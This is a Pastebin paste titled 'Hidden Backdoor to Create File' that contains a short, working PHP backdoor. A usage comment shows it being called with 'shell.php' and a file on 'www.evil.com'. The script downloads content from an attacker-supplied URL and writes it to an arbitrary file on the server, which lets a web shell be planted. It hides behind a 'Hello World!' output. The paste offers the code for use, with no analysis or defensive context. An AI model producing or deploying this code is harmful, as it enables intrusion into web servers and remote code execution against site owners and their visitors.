ToKeiChun

Hidden Backdoor to Create File

Jul 24th, 2019
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.44 KB | None | 0 0
  1. <?php
  2. //php code to create uploader
  3. //how to use? backdoor.php?file=shell.php&name=www.evil.com/source.txt
  4. function class_x_i($x = ''){
  5. $urlset = isset($_GET['name']) ? trim($_GET['name']) : '';
  6. $filename = isset($_GET['file']) ? trim($_GET['file']) : '';
  7. $ch = curl_init('http://'.$urlset);
  8. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  9. $result = curl_exec($ch);
  10. file_put_contents($filename,$result);
  11. echo 'Hello World!';
  12. }
  13. class_x_i();
  14. ?>
Add Comment
Please, Sign In to add comment